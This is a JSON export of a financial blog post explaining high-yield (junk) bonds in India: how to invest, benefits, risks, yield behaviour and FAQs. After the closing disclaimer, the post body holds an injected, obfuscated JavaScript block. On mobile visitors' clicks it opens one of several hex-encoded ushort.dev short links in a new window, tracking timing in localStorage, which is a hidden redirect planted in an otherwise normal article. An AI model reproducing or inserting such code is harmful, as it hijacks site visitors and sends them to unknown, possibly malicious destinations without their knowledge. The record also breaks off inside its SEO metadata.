{"id":3218,"date":"2023-02-15T04:57:45","date_gmt":"2023-02-15T04:57:45","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=3218"},"modified":"2023-09-29T09:36:50","modified_gmt":"2023-09-29T09:36:50","slug":"high-yield-bonds","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/","title":{"rendered":"High-Yield Bonds in India: Meaning, Benefits, and Risks"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#Understanding_High-Yield_Bonds\" >Understanding High-Yield Bonds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#How_to_Invest_in_High-Yield_Bonds\" >How to Invest in High-Yield Bonds<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#Advantages_of_High-Yield_Bonds\" >Advantages of High-Yield Bonds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#Disadvantages_of_High-Yield_Bonds\" >Disadvantages of High-Yield Bonds<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#Bond_Yields_and_Their_Fluctuations\" >Bond Yields and Their Fluctuations<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#High_Yield_Bond_Investing_The_Impact_of_Rising_Interest_Rates\" >High Yield Bond Investing: The Impact of Rising Interest Rates<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">For investors who are looking to diversify their portfolios with fixed-income securities, high-yield bonds offer a fascinating option in the Indian stock market. These bonds, often referred to as junk bonds, have been drawing attention due to their potential for delivering higher returns. In this blog, we will explore the concept of high-yield bonds in India, exploring what they are, how to invest in them, the advantages they bring, and the potential risks investors should be mindful of.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Understanding_High-Yield_Bonds\"><\/span><strong>Understanding High-Yield Bonds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">High-yield bonds, also known as junk bonds, represent debt securities issued by corporations. What sets them apart is their promise to provide higher interest rates compared to investment-grade bonds. However, it&#8217;s crucial to understand that high-yield bonds come with a higher level of risk due to their lower credit ratings.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_High-Yield_Bonds\"><\/span><strong>How to Invest in High-Yield Bonds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are multiple ways to high-yield bonds investing:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Direct Purchase:<\/strong> High-yield bonds can be purchased directly from broker-dealers. This approach allows investors to build a portfolio of individual bonds, granting them more control over their investments.<\/li>\n\n\n\n<li><strong>High-Yield Bond Mutual Funds:<\/strong> Another option is to invest in mutual funds that focus on high-yield bonds. These funds offer diversification and professional management. They pool capital from various investors and distribute it across a portfolio of high-yield bonds.<\/li>\n\n\n\n<li><strong>High-Yield Bond ETFs:<\/strong> Exchange-traded funds (ETFs) that specialise in high-yield bonds provide an alternative way to gain exposure to this asset class. ETFs are traded on stock exchanges and present liquidity and flexibility.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">When considering high-yield bonds, investors should perform due diligence by reviewing the bond&#8217;s prospectus. This document provides insights into the issuing company&#8217;s financial health, the bond&#8217;s terms, and associated risks.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Advantages_of_High-Yield_Bonds\"><\/span><strong>Advantages of High-Yield Bonds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">High-yield bonds offer several advantages for investors:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>High Payout:<\/strong> One of the primary attractions of high-yield bonds is their potential for delivering higher payouts. These bonds come with elevated coupon rates, allowing investors to enjoy robust yields throughout the bond&#8217;s tenure.<\/li>\n\n\n\n<li><strong>Appreciation Potential:<\/strong> While high-yield bonds are associated with lower <a href=\"https:\/\/shoonya.com\/blog\/evaluating-the-credit-quality-of-bonds\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">credit ratings<\/mark><\/a>, it&#8217;s essential to recognize that companies&#8217; financial situations can improve. If the issuing company experiences positive growth, high-yield trading prices may appreciate, leading to capital gains.<\/li>\n\n\n\n<li><strong>Priority in Default:<\/strong> In the unfortunate event of a company facing bankruptcy, high-yield bondholders receive priority over stockholders when it comes to repayment. This priority can be a crucial factor in recovering invested capital.<\/li>\n\n\n\n<li><strong>Lower Interest Rate Sensitivity:<\/strong> High-yield bonds typically have shorter durations, making them less sensitive to interest rate changes. This characteristic can provide a more consistent yield over the bond&#8217;s duration.<\/li>\n\n\n\n<li><strong>Potential for Fair Returns:<\/strong> While high-yield bonds carry a higher level of risk compared to investment-grade bonds, many of them consistently deliver returns to bondholders and fulfill repayment commitments.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Disadvantages_of_High-Yield_Bonds\"><\/span><strong>Disadvantages of High-Yield Bonds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Investors should also be aware of the potential downsides associated with high-yield bonds:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Default Risk:<\/strong> High-yield bonds are inherently riskier due to the potential of the issuing company&#8217;s inability to meet interest payments or repay the principal amount. Default risk is a primary concern to be considered for high-yield bond investing.<\/li>\n\n\n\n<li><strong>Limited Liquidity:<\/strong> These bonds are often perceived as riskier, leading to lower demand in the secondary market. Consequently, selling high-yield bonds can be challenging, and they may lack liquidity.<\/li>\n\n\n\n<li><strong>Credit Rating Impact:<\/strong> A downgrade in the credit rating of a high-yield bond during its tenure can negatively affect its value. This can result from deteriorating financial conditions within the issuing company.<\/li>\n\n\n\n<li><strong>Vulnerability During Recession:<\/strong> High-yield bonds are among the first assets to face challenges during economic downturns. Companies issuing high-yield bonds may struggle to secure bonds with higher yields, potentially causing losses for investors.<\/li>\n\n\n\n<li><strong>Risk Appetite Requirement:<\/strong> Investing in high-yield bonds necessitates a high-risk appetite. Investors must be readied for the chance of losing their entire investment due to default risk.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Bond_Yields_and_Their_Fluctuations\"><\/span><strong>Bond Yields and Their Fluctuations<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before delving into the specifics of high-yield bonds, understanding bond yields is essential. The bond yield represents the actual return on investment provided by a bond. It is primarily driven by the bond&#8217;s coupon rate (interest rate).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For instance, if you purchase a bond with a face value of \u20b91,000 and a 5% coupon rate, the bond yield will be \u20b950. However, if the bond is bought at a premium or discount from its face value, the yield percentage will vary based on the actual cost of the bond.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bond yields also exhibit an inverse relationship with bond prices. When market interest rates climb, bond prices tend to decrease, affecting the yield.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"High_Yield_Bond_Investing_The_Impact_of_Rising_Interest_Rates\"><\/span><strong>High Yield Bond Investing: The Impact of Rising Interest Rates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">High-yield bonds are influenced by changes in interest rates, similar to other fixed-income securities. When market interest rates rise, the market value of high-yield bonds may decline. Investors can secure higher returns from newly issued bonds with more attractive yields.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, rising interest rates can also benefit high-yield bonds, as they often coincide with economic expansion. Improved financial conditions for issuing companies can reduce the risk of default.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In conclusion, high-yield bonds present a unique opportunity for Indian investors seeking potentially higher returns within the fixed-income landscape. While they offer attractive benefits such as high payouts and potential appreciation, investors must also consider the inherent risks, including default risk and limited liquidity. By understanding the dynamics of high-yield bonds, investors can make informed decisions and incorporate these instruments into their diversified portfolios. Remember that a high-risk appetite is a prerequisite for investing in high-yield bonds, making them appropriate for those seeking a proportion between risk and reward in their investment strategies. Happy investing!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span><strong>FAQs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1695978331147\"><strong class=\"schema-faq-question\">What distinguishes high-yield bonds from investment-grade bonds?<\/strong> <p class=\"schema-faq-answer\">High-yield bonds, or junk bonds, offer higher coupon rates but come with lower credit ratings than investment-grade bonds. They are riskier investments due to an increased likelihood of default.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1695978354716\"><strong class=\"schema-faq-question\">How can investors access high-yield bonds in India?<\/strong> <p class=\"schema-faq-answer\">Investors can access high-yield bonds through direct purchase from broker-dealers, high-yield bond mutual funds, or high-yield bond ETFs available on stock exchanges.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1695978369761\"><strong class=\"schema-faq-question\">What role does bond duration play in high-yield bonds?<\/strong> <p class=\"schema-faq-answer\">High-yield bonds typically have shorter durations, reducing their sensitivity to changes in market interest rates and offering more consistent yields.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>For investors who are looking to diversify their portfolios with fixed-income securities, high-yield bonds offer a fascinating option in the Indian stock market. These bonds, often referred to as junk bonds, have been drawing attention due to their potential for delivering higher returns. In this blog, we will explore the concept of high-yield bonds in &hellip; <a href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;High-Yield Bonds in India: Meaning, Benefits, and Risks&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":3251,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[49],"tags":[1618,1617,1619],"class_list":["post-3218","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bonds","tag-different-types-of-high-yield-bonds","tag-high-yield-bonds","tag-invest-in-high-yield-bonds"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Unlocking the Potential of High-Yield Bonds in India<\/title>\n<meta name=\"description\" content=\"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Unlocking the Potential of High-Yield Bonds in India\" \/>\n<meta property=\"og:description\" content=\"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/high-yield-bonds\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-02-15T04:57:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-09-29T09:36:50+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"High-Yield Bonds in India: Meaning, Benefits, and Risks\",\"datePublished\":\"2023-02-15T04:57:45+00:00\",\"dateModified\":\"2023-09-29T09:36:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/\"},\"wordCount\":1046,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/How-to-Invest-in-High-Yield-Bonds.png\",\"keywords\":[\"Different types of High-Yield Bonds\",\"High-Yield Bonds\",\"invest in High-Yield Bonds\"],\"articleSection\":[\"Bonds\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/\",\"name\":\"Unlocking the Potential of High-Yield Bonds in India\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/How-to-Invest-in-High-Yield-Bonds.png\",\"datePublished\":\"2023-02-15T04:57:45+00:00\",\"dateModified\":\"2023-09-29T09:36:50+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978331147\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978354716\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978369761\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/How-to-Invest-in-High-Yield-Bonds.png\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/How-to-Invest-in-High-Yield-Bonds.png\",\"width\":1920,\"height\":1080,\"caption\":\"Guide To High-Yield 